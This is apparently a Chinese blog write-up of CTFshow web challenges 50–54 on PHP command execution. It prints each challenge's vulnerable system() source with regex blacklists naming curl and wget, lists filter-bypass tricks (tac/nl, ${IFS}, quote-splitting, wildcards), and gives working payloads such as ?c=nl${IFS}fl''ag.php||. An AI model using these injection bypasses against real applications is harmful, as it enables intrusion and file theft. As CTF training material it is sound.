CTFshow web(php命令执行 50-54)

web50

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:32:47

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|cat|flag| |0-9|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}

做题之前先给大伙献上干货。

1.绕过cat使用:

tac more less head tac tail nl od(二进制查看) vi vim sort uniq rev

2.绕过空格用:

%09 <> {IFS} IFS$ {cat,fl*} %20

注:

%09 ##(Tab) %20 ##(space)

3.对flag的过滤(这里也就几个,索性就全丢出来了)

1.'' (例如fl''ag)

2."" (例如fl""ag)

3.? (例如fl??)

4.* (例如fl*)

来自我的文章: 一篇文章带你进阶CTF命令执行-CSDN博客

可以去看看,这里后面的题目我会围绕我文章的知识点来作答

这里 system($c." >/dev/null 2>&1");其实就是将内容写入黑洞的意思,你的命令执行内容被带走了,所以这里使用命令分割 || (只执行h前面的命令)

过滤了cat使用tac ,空格过滤了使用<>

flag过滤了那就变成fl''ag

payload:?c=tac<>fl''ag.php||

web51

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:42:52

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|cat|flag| |0-9|\\\|\\\*\|more\|less\|head\|sort\|tail\|sed\|cut\|tac\|awk\|strings\|od\|curl\|\\\`\|\\%\|\\x09\|\\x26/i", c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}

这里把tac过滤了,直接换成nl就好了

web52

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-05 22:50:30

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|cat|flag| |0-9|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c." >/dev/null 2>&1");

}

}else{

highlight_file(FILE);

}看准过滤条件,过滤了啥那就替换就好啊。

这里没有禁用那就使用{IFS}替换空格

payload;

?c=nl${IFS}fl''ag.php||

web53

<?php

/*

-*- coding: utf-8 -*-

@Author: h1xa

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 18:21:02

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|cat|flag| |0-9|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){

echo($c);

d = system(c);

echo "<br>".$d;

}else{

echo 'no';

}

}else{

highlight_file(FILE);

}

这里没有写入黑洞里了,直接把上面payload复制然后删去||就好

payload:?c=nl${IFS}fl''ag.php

web54

<?php

/*

-*- coding: utf-8 -*-

@Author: Lazzaro

@Date: 2020-09-05 20:49:30

@Last Modified by: h1xa

@Last Modified time: 2020-09-07 19:43:42

@email: h1xa@ctfer.com

@link: https://ctfer.com

*/

if(isset($_GET'c')){

c=_GET'c';

if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |0-9|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){

system($c);

}

}else{

highlight_file(FILE);

}

额,汗流浃背了,这过滤有点东西啊,之前的方法用不了了,这下只能文件写入了

payload:?c=mv{IFS}fla?.php{IFS}z.txt

这里稍微再说一下啊,我一开始使用的是z.php,但是不行啊,访问不了,只能使用txt,而且最烦恼的是如果你一开始使用了z.php后面再改成txt也没有用了,因为已经把flag写入了php,所以只能销毁容器重新来

真诚地希望我的文章能够帮助大家,谢谢,在这过年期间我也是迅速更新,最后祝大家龙年吉祥!

相关推荐
程序员黑豆9 分钟前
AI全栈开发之Java:第一个Java程序
前端·后端·ai编程
小Q的编程笔记14 分钟前
Pump.fun 的核心是什么?用 300 行 Solidity 实现 Bonding Curve 与自动 LP 销毁
前端·后端·智能合约
卷帘依旧15 分钟前
React Fiber机制
前端
不灭锦鲤21 分钟前
网络安全第120天
安全·web安全
卷帘依旧42 分钟前
JavaScript 判断页面加载完成的多种场景
前端
神仙别闹1 小时前
基于 PHP + MySQL学生信息管理系统
android·mysql·php
打码人的日常分享1 小时前
数据安全,网络安全风险评估报告(Word)
安全·web安全
光影少年1 小时前
React 项目常见优化方案
前端·react.js·前端框架
lichenyang4531 小时前
把 demo 里的 console.log 全换成 HiLog:从 %{private} 没脱敏的困惑说起
前端
光影少年1 小时前
组件复用:HOC、Render Props、自定义Hook 对比
前端·react.js·掘金·金石计划